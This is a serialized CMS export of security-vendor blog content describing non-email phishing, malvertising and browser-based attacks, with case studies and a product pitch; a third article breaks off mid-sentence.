accounts?",{"data":25321,"content":25322,"nodeType":866},{},[25323],{"data":25324,"marks":25325,"value":25326,"nodeType":865},{},[],"Modern phishing attacks blur the boundary between corporate and personal. The fact is that your employees are routinely accessing personal messaging and social media apps on their corporate devices. Users are signed into apps like LinkedIn, X, WhatsApp, Signal, even message boards like Reddit on their work laptop and/or mobile devices. And with malicious links being found on search engines (aka. malvertising), they can even stumble upon them while browsing the web normally.",{"data":25328,"content":25329,"nodeType":866},{},[25330,25334,25339],{"data":25331,"marks":25332,"value":25333,"nodeType":865},{},[],"In short: anywhere that your users can be contacted by someone outside of your organization presents an opportunity for phishing. In fact, in most of these cases people ",{"data":25335,"marks":25336,"value":25338,"nodeType":865},{},[25337],{"type":935},"expect ",{"data":25340,"marks":25341,"value":25342,"nodeType":865},{},[],"to be contacted by people they don’t know. ",{"data":25344,"content":25345,"nodeType":866},{},[25346,25350,25359],{"data":25347,"marks":25348,"value":25349,"nodeType":865},{},[],"It’s also a myth that campaigns can’t be targeted in the same way on these platforms, that they’re somehow more random and therefore less dangerous. For example, social media accounts are some of the easiest for attackers to create en masse — or take over. According to the most recent ",{"data":25351,"content":25353,"nodeType":889},{"uri":25352},"https://www.verizon.com/business/resources/T149/reports/2025-dbir-data-breach-investigations-report.pdf",[25354],{"data":25355,"marks":25356,"value":25358,"nodeType":865},{},[25357],{"type":1191},"Verizon DBIR",{"data":25360,"marks":25361,"value":25362,"nodeType":865},{},[],", 60%+ of creds found in infostealer logs were from social media sites. They’re also likely to use single-factor logins. If an attacker can take over one account, and use it to credibly communicate with one of your employees, they have a way higher likelihood of being successful than with your average unsolicited email. ",{"data":25364,"content":25365,"nodeType":866},{},[25366,25370,25379],{"data":25367,"marks":25368,"value":25369,"nodeType":865},{},[],"Malicious ads can also be targeted. For example, Google Ads can be targeted to searches coming from specific geographic locations, tailored to specific email domain matches, or specific device types (e.g. desktop, mobile, etc.). If you know where your target organization is located, you can tailor the ad to that location. Phishing sites also often come with ",{"data":25371,"content":25373,"nodeType":889},{"uri":25372},"https://phishing-techniques.pushsecurity.com/techniques/conditional-loading/",[25374],{"data":25375,"marks":25376,"value":25378,"nodeType":865},{},[25377],{"type":1191},"conditional loading",{"data":25380,"marks":25381,"value":25382,"nodeType":865},{},[]," parameters to only deliver the malicious payload under specific conditions — for example, only if the visitor came from a particular email campaign link, or only if they are in a certain organization, using a certain browser, from a specific IP range, etc. ",{"data":25384,"content":25385,"nodeType":866},{},[25386,25390,25399],{"data":25387,"marks":25388,"value":25389,"nodeType":865},{},[],"And even if the attacker only manages to reach your employee on their personal device, this can still be laundered into a corporate account compromise. Just look at the ",{"data":25391,"content":25393,"nodeType":889},{"uri":25392},"https://sec.okta.com/articles/2023/11/unauthorized-access-oktas-support-case-management-system-root-cause",[25394],{"data":25395,"marks":25396,"value":25398,"nodeType":865},{},[25397],{"type":1191},"2023 Okta breach",{"data":25400,"marks":25401,"value":25402,"nodeType":865},{},[],", where an attacker exploited the fact that an Okta employee had signed into a personal Google profile on their work device. This meant any credentials saved in their browser were synced to their personal device — including a customer support system service account providing access to 134 customer tenants. When their personal device got hacked, so too did all of their work credentials.",{"data":25404,"content":25405,"nodeType":866},{},[25406],{"data":25407,"marks":25408,"value":25409,"nodeType":865},{},[],"So, there’s plenty of scope for non-email phishing to result in targeted phishing campaigns. If anything, it’s arguably less work for the attacker to spin up these non-email campaigns than it is to do the necessary legwork to create and build up email sender reputation!",{"data":25411,"content":25412,"nodeType":944},{},[],{"data":25414,"content":25415,"nodeType":953},{},[25416],{"data":25417,"marks":25418,"value":25420,"nodeType":865},{},[25419],{"type":935},"Case study: LinkedIn spear-phishing",{"data":25422,"content":25423,"nodeType":866},{},[25424,25427,25435],{"data":25425,"marks":25426,"value":21,"nodeType":865},{},[],{"data":25428,"content":25429,"nodeType":889},{"uri":18603},[25430],{"data":25431,"marks":25432,"value":25434,"nodeType":865},{},[25433],{"type":1191},"Attackers recently ran a LinkedIn spear-phishing campaign targeting tech company execs.",{"data":25436,"marks":25437,"value":25438,"nodeType":865},{},[]," The victims were targeted via LinkedIn direct message from another exec about a fake investment opportunity. The sender’s account had been compromised and used to approach high-value targets. ",{"data":25440,"content":25441,"nodeType":866},{},[25442,25446,25455,25459,25467],{"data":25443,"marks":25444,"value":25445,"nodeType":865},{},[],"The attack led the victim through a chain of custom pages hosted on ",{"data":25447,"content":25449,"nodeType":889},{"uri":25448},"https://phishing-techniques.pushsecurity.com/techniques/trusted-website-hosting/",[25450],{"data":25451,"marks":25452,"value":25454,"nodeType":865},{},[25453],{"type":1191},"legitimate sites",{"data":25456,"marks":25457,"value":25458,"nodeType":865},{},[]," (a well-known ",{"data":25460,"content":25462,"nodeType":889},{"uri":25461},"https://pushsecurity.com/resources/phishing-evolution?",[25463],{"data":25464,"marks":25465,"value":1393,"nodeType":865},{},[25466],{"type":1191},{"data":25468,"marks":25469,"value":25470,"nodeType":865},{},[],") such as Google Sites, Google Search, and Microsoft Dynamics, before serving up an Attacker-in-the-Middle phishing page impersonating Google Workspace, before serving up a session-stealing AitM phishing page. ",{"data":25472,"content":25476,"nodeType":921},{"target":25473},{"sys":25474},{"id":25475,"type":918,"linkType":919},"1cEvEzLdKIuj6zuGn9aWJB",[],{"data":25478,"content":25482,"nodeType":921},{"target":25479},{"sys":25480},{"id":25481,"type":918,"linkType":919},"6LfBXkDKqh1ogCMxaxyV6x",[],{"data":25484,"content":25485,"nodeType":944},{},[],{"data":25487,"content":25488,"nodeType":953},{},[25489],{"data":25490,"marks":25491,"value":25493,"nodeType":865},{},[25492],{"type":935},"Case study: Google Search malvertising",{"data":25495,"content":25496,"nodeType":866},{},[25497,25500,25509],{"data":25498,"marks":25499,"value":21,"nodeType":865},{},[],{"data":25501,"content":25503,"nodeType":889},{"uri":25502},"https://pushsecurity.com/blog/investigating-a-recent-malvertising-campaign-targeting-onfido-customers/",[25504],{"data":25505,"marks":25506,"value":25508,"nodeType":865},{},[25507],{"type":1191},"A company was hit with a targeted Google ad",{"data":25510,"marks":25511,"value":25512,"nodeType":865},{},[]," which was designed to look highly convincing, and positioned above the legitimate ad. This took advantage of the fact that many users will search for login pages rather than accessing the site via bookmark. ",{"data":25514,"content":25515,"nodeType":866},{},[25516,25520,25529],{"data":25517,"marks":25518,"value":25519,"nodeType":865},{},[],"In this case, the attacker had made use of a ",{"data":25521,"content":25523,"nodeType":889},{"uri":25522},"https://phishing-techniques.pushsecurity.com/techniques/rentable-subdomains/",[25524],{"data":25525,"marks":25526,"value":25528,"nodeType":865},{},[25527],{"type":1191},"rentable subdomain",{"data":25530,"marks":25531,"value":25532,"nodeType":865},{},[]," (us[.]com) to make the link appear highly legitimate, with only small changes to the real URL that were easy to miss. ",{"data":25534,"content":25535,"nodeType":866},{},[25536],{"data":25537,"marks":25538,"value":25539,"nodeType":865},{},[],"Instead of the real login, the link took the victim to a session-stealing AITM page.  ",{"data":25541,"content":25542,"nodeType":866},{},[25543,25547,25556],{"data":25544,"marks":25545,"value":25546,"nodeType":865},{},[],"This was later traced back to a ",{"data":25548,"content":25550,"nodeType":889},{"uri":25549},"https://pushsecurity.com/blog/scattered-spider-ttp-evolution-in-2025/",[25551],{"data":25552,"marks":25553,"value":25555,"nodeType":865},{},[25554],{"type":1191},"Scattered Spider",{"data":25557,"marks":25558,"value":25559,"nodeType":865},{},[]," campaign.",{"data":25561,"content":25565,"nodeType":921},{"target":25562},{"sys":25563},{"id":25564,"type":918,"linkType":919},"5o1LEkZfeYVjMZmROi3Yh",[],{"data":25567,"content":25571,"nodeType":921},{"target":25568},{"sys":25569},{"id":25570,"type":918,"linkType":919},"4RAXFNPdvUXjMDUE7tc10a",[],{"data":25573,"content":25574,"nodeType":944},{},[],{"data":25576,"content":25577,"nodeType":953},{},[25578],{"data":25579,"marks":25580,"value":25582,"nodeType":865},{},[25581],{"type":935},"What can an attacker do with a compromised account? ",{"data":25584,"content":25585,"nodeType":866},{},[25586],{"data":25587,"marks":25588,"value":25589,"nodeType":865},{},[],"It’s important to think about the bigger picture when it comes to a modern phishing compromise. ",{"data":25591,"content":25592,"nodeType":866},{},[25593],{"data":25594,"marks":25595,"value":25596,"nodeType":865},{},[],"Most phishing attacks focus on core enterprise cloud platforms such as Microsoft and Google, or specialist Identity Providers like Okta. Taking over one of these accounts doesn’t just give access to the core apps and data within the respective app, but also enables the attacker to leverage SSO to sign into any connected app that the employee logs into with their account. ",{"data":25598,"content":25599,"nodeType":866},{},[25600,25604,25613,25617,25626],{"data":25601,"marks":25602,"value":25603,"nodeType":865},{},[],"This gives an attacker access to just about every core business function and dataset in your organization. And from this point, it’s much easier to target other users of these internal apps — using internal messenger apps like ",{"data":25605,"content":25607,"nodeType":889},{"uri":25606},"https://pushsecurity.com/blog/phishing-slack-persistence/",[25608],{"data":25609,"marks":25610,"value":25612,"nodeType":865},{},[25611],{"type":1191},"Slack or Teams",{"data":25614,"marks":25615,"value":25616,"nodeType":865},{},[],", or techniques like ",{"data":25618,"content":25620,"nodeType":889},{"uri":25619},"https://github.com/pushsecurity/saas-attacks/blob/main/techniques/samljacking/description.md",[25621],{"data":25622,"marks":25623,"value":25625,"nodeType":865},{},[25624],{"type":1191},"SAMLjacking",{"data":25627,"marks":25628,"value":25629,"nodeType":865},{},[]," to turn an app into a watering hole for other users trying to log in. ",{"data":25631,"content":25632,"nodeType":866},{},[25633],{"data":25634,"marks":25635,"value":25636,"nodeType":865},{},[],"A single account compromise can quickly snowball into a multi-million dollar, business-wide breach.",{"data":25638,"content":25639,"nodeType":944},{},[],{"data":25641,"content":25642,"nodeType":953},{},[25643],{"data":25644,"marks":25645,"value":25647,"nodeType":865},{},[25646],{"type":935},"What can organizations do about non-email phishing? ",{"data":25649,"content":25650,"nodeType":866},{},[25651],{"data":25652,"marks":25653,"value":25654,"nodeType":865},{},[],"It’s clear that the traditional anti-phishing toolset hasn’t kept up with phishing innovation. ",{"data":25656,"content":25657,"nodeType":866},{},[25658],{"data":25659,"marks":25660,"value":25661,"nodeType":865},{},[],"To tackle modern phishing attacks, organizations need a solution that detects and blocks phishing across all apps and delivery vectors. ",{"data":25663,"content":25664,"nodeType":866},{},[25665],{"data":25666,"marks":25667,"value":25668,"nodeType":865},{},[],"Push Security doesn’t detect the redirect tricks, or rely on outdated domain TI feeds. It doesn’t matter what delivery channel or camouflage methods are used, Push detects and blocks attacks by identifying the attack in real time, as the user loads and interacts with the page in their web browser.",{"data":25670,"content":25671,"nodeType":866},{},[25672],{"data":25673,"marks":25674,"value":25675,"nodeType":865},{},[],"Push’s browser-based security platform provides comprehensive identity attack detection and response capabilities against techniques like AiTM phishing, credential stuffing, ClickFixing, malicious browser extensions, and session hijacking using stolen session tokens. ",{"data":25677,"content":25678,"nodeType":866},{},[25679,25682,25689,25692,25699],{"data":25680,"marks":25681,"value":9255,"nodeType":865},{},[],{"data":25683,"content":25684,"nodeType":889},{"uri":3192},[25685],{"data":25686,"marks":25687,"value":3198,"nodeType":865},{},[25688],{"type":1191},{"data":25690,"marks":25691,"value":19268,"nodeType":865},{},[],{"data":25693,"content":25694,"nodeType":889},{"uri":2644},[25695],{"data":25696,"marks":25697,"value":3223,"nodeType":865},{},[25698],{"type":1191},{"data":25700,"marks":25701,"value":1066,"nodeType":865},{},[],"Why attackers are moving beyond email-based phishing","Why phishing attacks are moving away from exclusively email-based delivery, and what this means for security teams. \n","2025-09-18T00:00:00.000Z","why-attackers-are-moving-beyond-email-based-phishing",{"items":25707},[25708,25710],{"sys":25709,"name":2663},{"id":2662},{"sys":25711,"name":342},{"id":2666},{"items":25713},[25714],{"fullName":2670,"firstName":2671,"jobTitle":2672,"profilePicture":25715},{"url":2674},{"__typename":1802,"sys":25717,"content":25718,"title":20558,"synopsis":24497,"hashTags":59,"publishedDate":24498,"slug":20559,"tagsCollection":26253,"authorsCollection":26259},{"id":20264},{"json":25719},{"data":25720,"content":25721,"nodeType":1663},{},[25722,25758,25804,25817,25822,25828,25831,25838,25844,25850,25856,25872,25878,25883,25898,25903,25906,25913,25919,25926,25942,25948,25954,25960,25967,25973,25979,25984,25990,26020,26025,26032,26048,26054,26075,26081,26087,26092,26098,26101,26108,26121,26137,26143,26149,26155,26160,26167,26182,26185,26192,26198,26204,26210,26216,26242,26247],{"data":25723,"content":25724,"nodeType":866},{},[25725,25728,25735,25738,25745,25748,25755],{"data":25726,"marks":25727,"value":23887,"nodeType":865},{},[],{"data":25729,"content":25730,"nodeType":889},{"uri":23890},[25731],{"data":25732,"marks":25733,"value":315,"nodeType":865},{},[25734],{"type":1191},{"data":25736,"marks":25737,"value":23899,"nodeType":865},{},[],{"data":25739,"content":25740,"nodeType":889},{"uri":23902},[25741],{"data":25742,"marks":25743,"value":23908,"nodeType":865},{},[25744],{"type":1191},{"data":25746,"marks":25747,"value":23912,"nodeType":865},{},[],{"data":25749,"content":25750,"nodeType":889},{"uri":23915},[25751],{"data":25752,"marks":25753,"value":23921,"nodeType":865},{},[25754],{"type":1191},{"data":25756,"marks":25757,"value":23925,"nodeType":865},{},[],{"data":25759,"content":25760,"nodeType":866},{},[25761,25764,25771,25774,25781,25784,25791,25794,25801],{"data":25762,"marks":25763,"value":23932,"nodeType":865},{},[],{"data":25765,"content":25766,"nodeType":889},{"uri":23935},[25767],{"data":25768,"marks":25769,"value":23941,"nodeType":865},{},[25770],{"type":1191},{"data":25772,"marks":25773,"value":3202,"nodeType":865},{},[],{"data":25775,"content":25776,"nodeType":889},{"uri":23947},[25777],{"data":25778,"marks":25779,"value":23953,"nodeType":865},{},[25780],{"type":1191},{"data":25782,"marks":25783,"value":3202,"nodeType":865},{},[],{"data":25785,"content":25786,"nodeType":889},{"uri":23959},[25787],{"data":25788,"marks":25789,"value":23965,"nodeType":865},{},[25790],{"type":1191},{"data":25792,"marks":25793,"value":23969,"nodeType":865},{},[],{"data":25795,"content":25796,"nodeType":889},{"uri":23972},[25797],{"data":25798,"marks":25799,"value":23978,"nodeType":865},{},[25800],{"type":1191},{"data":25802,"marks":25803,"value":23982,"nodeType":865},{},[],{"data":25805,"content":25806,"nodeType":866},{},[25807,25810,25814],{"data":25808,"marks":25809,"value":23989,"nodeType":865},{},[],{"data":25811,"marks":25812,"value":23769,"nodeType":865},{},[25813],{"type":935},{"data":25815,"marks":25816,"value":23997,"nodeType":865},{},[],{"data":25818,"content":25821,"nodeType":921},{"target":25819},{"sys":25820},{"id":23792,"type":918,"linkType":919},[],{"data":25823,"content":25824,"nodeType":866},{},[25825],{"data":25826,"marks":25827,"value":24009,"nodeType":865},{},[],{"data":25829,"content":25830,"nodeType":944},{},[],{"data":25832,"content":25833,"nodeType":953},{},[25834],{"data":25835,"marks":25836,"value":24020,"nodeType":865},{},[25837],{"type":935},{"data":25839,"content":25840,"nodeType":866},{},[25841],{"data":25842,"marks":25843,"value":24027,"nodeType":865},{},[],{"data":25845,"content":25846,"nodeType":866},{},[25847],{"data":25848,"marks":25849,"value":24034,"nodeType":865},{},[],{"data":25851,"content":25852,"nodeType":866},{},[25853],{"data":25854,"marks":25855,"value":24041,"nodeType":865},{},[],{"data":25857,"content":25858,"nodeType":866},{},[25859,25862,25869],{"data":25860,"marks":25861,"value":24048,"nodeType":865},{},[],{"data":25863,"content":25864,"nodeType":889},{"uri":24051},[25865],{"data":25866,"marks":25867,"value":24057,"nodeType":865},{},[25868],{"type":1191},{"data":25870,"marks":25871,"value":24061,"nodeType":865},{},[],{"data":25873,"content":25874,"nodeType":866},{},[25875],{"data":25876,"marks":25877,"value":24068,"nodeType":865},{},[],{"data":25879,"content":25882,"nodeType":921},{"target":25880},{"sys":25881},{"id":24073,"type":918,"linkType":919},[],{"data":25884,"content":25885,"nodeType":866},{},[25886,25889,25895],{"data":25887,"marks":25888,"value":24081,"nodeType":865},{},[],{"data":25890,"content":25891,"nodeType":889},{"uri":23545},[25892],{"data":25893,"marks":25894,"value":24088,"nodeType":865},{},[],{"data":25896,"marks":25897,"value":24092,"nodeType":865},{},[],{"data":25899,"content":25902,"nodeType":921},{"target":25900},{"sys":25901},{"id":24097,"type":918,"linkType":919},[],{"data":25904,"content":25905,"nodeType":944},{},[],{"data":25907,"content":25908,"nodeType":953},{},[25909],{"data":25910,"marks":25911,"value":24109,"nodeType":865},{},[25912],{"type":935},{"data":25914,"content":25915,"nodeType":866},{},[25916],{"data":25917,"marks":25918,"value":24116,"nodeType":865},{},[],{"data":25920,"content":25921,"nodeType":1229},{},[25922],{"data":25923,"marks":25924,"value":24124,"nodeType":865},{},[25925],{"type":935},{"data":25927,"content":25928,"nodeType":866},{},[25929,25932,25939],{"data":25930,"marks":25931,"value":24131,"nodeType":865},{},[],{"data":25933,"content":25934,"nodeType":889},{"uri":24134},[25935],{"data":25936,"marks":25937,"value":24140,"nodeType":865},{},[25938],{"type":1191},{"data":25940,"marks":25941,"value":24144,"nodeType":865},{},[],{"data":25943,"content":25944,"nodeType":866},{},[25945],{"data":25946,"marks":25947,"value":24151,"nodeType":865},{},[],{"data":25949,"content":25950,"nodeType":866},{},[25951],{"data":25952,"marks":25953,"value":24158,"nodeType":865},{},[],{"data":25955,"content":25956,"nodeType":866},{},[25957],{"data":25958,"marks":25959,"value":24165,"nodeType":865},{},[],{"data":25961,"content":25962,"nodeType":1229},{},[25963],{"data":25964,"marks":25965,"value":24173,"nodeType":865},{},[25966],{"type":935},{"data":25968,"content":25969,"nodeType":866},{},[25970],{"data":25971,"marks":25972,"value":24180,"nodeType":865},{},[],{"data":25974,"content":25975,"nodeType":866},{},[25976],{"data":25977,"marks":25978,"value":24187,"nodeType":865},{},[],{"data":25980,"content":25983,"nodeType":921},{"target":25981},{"sys":25982},{"id":24192,"type":918,"linkType":919},[],{"data":25985,"content":25986,"nodeType":866},{},[25987],{"data":25988,"marks":25989,"value":24200,"nodeType":865},{},[],{"data":25991,"content":25992,"nodeType":2374},{},[25993,26002,26011],{"data":25994,"content":25995,"nodeType":2309},{},[25996],{"data":25997,"content":25998,"nodeType":866},{},[25999],{"data":26000,"marks":26001,"value":24213,"nodeType":865},{},[],{"data":26003,"content":26004,"nodeType":2309},{},[26005],{"data":26006,"content":26007,"nodeType":866},{},[26008],{"data":26009,"marks":26010,"value":24223,"nodeType":865},{},[],{"data":26012,"content":26013,"nodeType":2309},{},[26014],{"data":26015,"content":26016,"nodeType":866},{},[26017],{"data":26018,"marks":26019,"value":24233,"nodeType":865},{},[],{"data":26021,"content":26024,"nodeType":921},{"target":26022},{"sys":26023},{"id":24238,"type":918,"linkType":919},[],{"data":26026,"content":26027,"nodeType":1229},{},[26028],{"data":26029,"marks":26030,"value":24247,"nodeType":865},{},[26031],{"type":935},{"data":26033,"content":26034,"nodeType":866},{},[26035,26038,26045],{"data":26036,"marks":26037,"value":24254,"nodeType":865},{},[],{"data":26039,"content":26040,"nodeType":889},{"uri":23890},[26041],{"data":26042,"marks":26043,"value":24262,"nodeType":865},{},[26044],{"type":1191},{"data":26046,"marks":26047,"value":24266,"nodeType":865},{},[],{"data":26049,"content":26050,"nodeType":866},{},[26051],{"data":26052,"marks":26053,"value":24273,"nodeType":865},{},[],{"data":26055,"content":26056,"nodeType":2374},{},[26057,26066],{"data":26058,"content":26059,"nodeType":2309},{},[26060],{"data":26061,"content":26062,"nodeType":866},{},[26063],{"data":26064,"marks":26065,"value":24286,"nodeType":865},{},[],{"data":26067,"content":26068,"nodeType":2309},{},[26069],{"data":26070,"content":26071,"nodeType":866},{},[26072],{"data":26073,"marks":26074,"value":24296,"nodeType":865},{},[],{"data":26076,"content":26077,"nodeType":866},{},[26078],{"data":26079,"marks":26080,"value":24303,"nodeType":865},{},[],{"data":26082,"content":26083,"nodeType":866},{},[26084],{"data":26085,"marks":26086,"value":24310,"nodeType":865},{},[],{"data":26088,"content":26091,"nodeType":921},{"target":26089},{"sys":26090},{"id":24315,"type":918,"linkType":919},[],{"data":26093,"content":26094,"nodeType":866},{},[26095],{"data":26096,"marks":26097,"value":24323,"nodeType":865},{},[],{"data":26099,"content":26100,"nodeType":944},{},[],{"data":26102,"content":26103,"nodeType":953},{},[26104],{"data":26105,"marks":26106,"value":24334,"nodeType":865},{},[26107],{"type":935},{"data":26109,"content":26110,"nodeType":866},{},[26111,26114,26118],{"data":26112,"marks":26113,"value":23989,"nodeType":865},{},[],{"data":26115,"marks":26116,"value":23769,"nodeType":865},{},[26117],{"type":935},{"data":26119,"marks":26120,"value":24348,"nodeType":865},{},[],{"data":26122,"content":26123,"nodeType":866},{},[26124,26127,26134],{"data":26125,"marks":26126,"value":24355,"nodeType":865},{},[],{"data":26128,"content":26129,"nodeType":889},{"uri":24358},[26130],{"data":26131,"marks":26132,"value":24364,"nodeType":865},{},[26133],{"type":1191},{"data":26135,"marks":26136,"value":24368,"nodeType":865},{},[],{"data":26138,"content":26139,"nodeType":866},{},[26140],{"data":26141,"marks":26142,"value":24375,"nodeType":865},{},[],{"data":26144,"content":26145,"nodeType":866},{},[26146],{"data":26147,"marks":26148,"value":24382,"nodeType":865},{},[],{"data":26150,"content":26151,"nodeType":866},{},[26152],{"data":26153,"marks":26154,"value":24389,"nodeType":865},{},[],{"data":26156,"content":26159,"nodeType":921},{"target":26157},{"sys":26158},{"id":23792,"type":918,"linkType":919},[],{"data":26161,"content":26162,"nodeType":1229},{},[26163],{"data":26164,"marks":26165,"value":24402,"nodeType":865},{},[26166],{"type":935},{"data":26168,"content":26169,"nodeType":866},{},[26170,26173,26179],{"data":26171,"marks":26172,"value":24409,"nodeType":865},{},[],{"data":26174,"content":26175,"nodeType":889},{"uri":24412},[26176],{"data":26177,"marks":26178,"value":24417,"nodeType":865},{},[],{"data":26180,"marks":26181,"value":24421,"nodeType":865},{},[],{"data":26183,"content":26184,"nodeType":944},{},[],{"data":26186,"content":26187,"nodeType":953},{},[26188],{"data":26189,"marks":26190,"value":5589,"nodeType":865},{},[26191],{"type":935},{"data":26193,"content":26194,"nodeType":866},{},[26195],{"data":26196,"marks":26197,"value":24438,"nodeType":865},{},[],{"data":26199,"content":26200,"nodeType":866},{},[26201],{"data":26202,"marks":26203,"value":24445,"nodeType":865},{},[],{"data":26205,"content":26206,"nodeType":866},{},[26207],{"data":26208,"marks":26209,"value":24452,"nodeType":865},{},[],{"data":26211,"content":26212,"nodeType":866},{},[26213],{"data":26214,"marks":26215,"value":24459,"nodeType":865},{},[],{"data":26217,"content":26218,"nodeType":866},{},[26219,26222,26229,26232,26239],{"data":26220,"marks":26221,"value":9255,"nodeType":865},{},[],{"data":26223,"content":26224,"nodeType":889},{"uri":3192},[26225],{"data":26226,"marks":26227,"value":3198,"nodeType":865},{},[26228],{"type":1191},{"data":26230,"marks":26231,"value":19268,"nodeType":865},{},[],{"data":26233,"content":26234,"nodeType":889},{"uri":2644},[26235],{"data":26236,"marks":26237,"value":3223,"nodeType":865},{},[26238],{"type":1191},{"data":26240,"marks":26241,"value":1066,"nodeType":865},{},[],{"data":26243,"content":26246,"nodeType":921},{"target":26244},{"sys":26245},{"id":24238,"type":918,"linkType":919},[],{"data":26248,"content":26249,"nodeType":866},{},[26250],{"data":26251,"marks":26252,"value":21,"nodeType":865},{},[],{"items":26254},[26255,26257],{"sys":26256,"name":342},{"id":2666},{"sys":26258,"name":2663},{"id":2662},{"items":26260},[26261],{"fullName":2670,"firstName":2671,"jobTitle":2672,"profilePicture":26262},{"url":2674},{"__typename":1802,"sys":26264,"content":26266,"title":26907,"synopsis":26908,"hashTags":59,"publishedDate":26909,"slug":26910,"tagsCollection":26911,"authorsCollection":26917},{"id":26265},"62Zyr35VUmijkpupWk3hoD",{"json":26267},{"data":26268,"content":26269,"nodeType":1663},{},[26270,26286,26293,26296,26304,26311,26318,26338,26344,26351,26358,26365,26372,26375,26383,26390,26396,26403,26411,26418,26425,26431,26450,26456,26463,26469,26476,26481,26484,26492,26508,26515,26545,26552,26559,26565,26572,26579,26586,26589,26597,26613,26619,26626,26633,26639,26646,26653,26656,26664,26671,26691,26735,26742,26749,26756,26759,26767,26774,26781,26788,26791,26799,26806,26837,26857,26864,26867,26875,26882,26889],{"data":26271,"content":26272,"nodeType":866},{},[26273,26277,26282],{"data":26274,"marks":26275,"value":26276,"nodeType":865},{},[],"The view that \"the browser is the new endpoint\" and \"the new battleground for cyber attacks\" is becoming increasingly advocated by security leaders. But what does this ",{"data":26278,"marks":26279,"value":26281,"nodeType":865},{},[26280],{"type":965},"actually",{"data":26283,"marks":26284,"value":26285,"nodeType":865},{},[]," mean for security teams? ",{"data":26287,"content":26288,"nodeType":866},{},[26289],{"data":26290,"marks":26291,"value":26292,"nodeType":865},{},[],"In this article, we’re cutting out the jargon to explore what a browser-based attack is, and what’s required for effective detection and response. ",{"data":26294,"content":26295,"nodeType":944},{},[],{"data":26297,"content":26298,"nodeType":953},{},[26299],{"data":26300,"marks":26301,"value":26303,"nodeType":865},{},[26302],{"type":935},"What is the goal of a browser-based attack?   ",{"data":26305,"content":26306,"nodeType":866},{},[26307],{"data":26308,"marks":26309,"value":26310,"nodeType":865},{},[],"First, it’s important to establish what the point of a browser-based attack is.",{"data":26312,"content":26313,"nodeType":866},{},[26314],{"data":26315,"marks":26316,"value":26317,"nodeType":865},{},[],"In most scenarios, attackers don’t think of themselves as attacking your web browser. Their end-goal is to compromise your business apps and data. That means going after the third-party apps and services that are now the backbone of business IT — and therefore the top target for attackers. ",{"data":26319,"content":26320,"nodeType":866},{},[26321,26325,26334],{"data":26322,"marks":26323,"value":26324,"nodeType":865},{},[],"The most common attack path today sees attackers log into third-party services, dump the data, and monetize it through extortion. You need only look at last year’s ",{"data":26326,"content":26328,"nodeType":889},{"uri":26327},"https://pushsecurity.com/blog/snowflake-retro?utm_source=bleeping-computer&utm_medium=sponsored-content&utm_term=article",[26329],{"data":26330,"marks":26331,"value":26333,"nodeType":865},{},[26332],{"type":1191},"Snowflake",{"data":26335,"marks":26336,"value":26337,"nodeType":865},{},[]," customer breaches or the still-ongoing Salesforce attacks to see the impact.",{"data":26339,"content":26343,"nodeType":921},{"target":26340},{"sys":26341},{"id":26342,"type":918,"linkType":919},"5agrVXzEdwALmew2F5SPDp",[],{"data":26345,"content":26346,"nodeType":866},{},[26347],{"data":26348,"marks":26349,"value":26350,"nodeType":865},{},[],"The most logical way to do this is by targeting users of those apps. And because of the changes to working practices, your users are more accessible than ever to external attackers.",{"data":26352,"content":26353,"nodeType":866},{},[26354],{"data":26355,"marks":26356,"value":26357,"nodeType":865},{},[],"Once upon a time, email was the primary communication channel with the wider world, and work happened locally — on your device, and inside your locked-down network environment. This made email and the endpoint the highest priority from a security perspective. But now, with modern work happening across a network of decentralized internet apps, and more varied communication channels outside of email, it’s harder to stop users from interacting with malicious content (at least, without significantly impeding their ability to do their jobs).",{"data":26359,"content":26360,"nodeType":866},{},[26361],{"data":26362,"marks":26363,"value":26364,"nodeType":865},{},[],"Given that the browser is the place where business apps are accessed and used, it makes sense that attacks are increasingly playing out there too. ",{"data":26366,"content":26367,"nodeType":866},{},[26368],{"data":26369,"marks":26370,"value":26371,"nodeType":865},{},[],"With that covered off, let’s take a closer look at the most prevalent browser-based attack techniques being used by attackers in the wild today.",{"data":26373,"content":26374,"nodeType":944},{},[],{"data":26376,"content":26377,"nodeType":953},{},[26378],{"data":26379,"marks":26380,"value":26382,"nodeType":865},{},[26381],{"type":935},"The 6 key browser-based attacks that security teams need to know about",{"data":26384,"content":26385,"nodeType":866},{},[26386],{"data":26387,"marks":26388,"value":26389,"nodeType":865},{},[],"Attacks that target users in their web browsers have seen an unprecedented rise in recent years. ",{"data":26391,"content":26395,"nodeType":921},{"target":26392},{"sys":26393},{"id":26394,"type":918,"linkType":919},"4ogNqZdObSIJXavHP44lom",[],{"data":26397,"content":26398,"nodeType":866},{},[26399],{"data":26400,"marks":26401,"value":26402,"nodeType":865},{},[],"Here's our breakdown of the top 6 browser-based attacks that should be on every security team's radar right now. ",{"data":26404,"content":26405,"nodeType":1229},{},[26406],{"data":26407,"marks":26408,"value":26410,"nodeType":865},{},[26409],{"type":935},"1. Phishing for credentials and sessions",{"data":26412,"content":26413,"nodeType":866},{},[26414],{"data":26415,"marks":26416,"value":26417,"nodeType":865},{},[],"The most direct way for an attacker to compromise a business application is to phish a user of that app. You might not necessarily think of phishing as a browser-based attack, but that’s exactly what it is today. ",{"data":26419,"content":26420,"nodeType":866},{},[26421],{"data":26422,"marks":26423,"value":26424,"nodeType":865},{},[],"Phishing tooling and infrastructure has evolved a lot in the past decade, while the changes to business IT means there are both many more vectors for phishing attack delivery, and apps and identities to target. Attackers can deliver links over instant messenger apps, social media, SMS, malicious ads, and using in-app messenger functionality, as well as sending emails directly from SaaS services to bypass email-based checks. Likewise, there are now hundreds of apps per enterprise to target, with varying levels of account security configuration. ",{"data":26426,"content":26430,"nodeType":921},{"target":26427},{"sys":26428},{"id":26429,"type":918,"linkType":919},"3SrKOgpedLMQRpKIZqUQur",[],{"data":26432,"content":26433,"nodeType":866},{},[26434,26438,26447],{"data":26435,"marks":26436,"value":26437,"nodeType":865},{},[],"Whereas phishing was once entirely focused on credential theft, modern phishing attacks see the attacker intercept the victim’s session on the target app, using reverse-proxy Attacker-in-the-Middle kits that are the standard choice for attackers today. This means most forms of MFA can be bypassed, with the exception of passkeys (though attackers are finding ways to work around passkeys using ",{"data":26439,"content":26441,"nodeType":889},{"uri":26440},"https://pushsecurity.com/blog/mfa-downgrade-attacks/?utm_source=bleeping-computer&utm_medium=sponsored-content&utm_term=article",[26442],{"data":26443,"marks":26444,"value":26446,"nodeType":865},{},[26445],{"type":1191},"downgrade 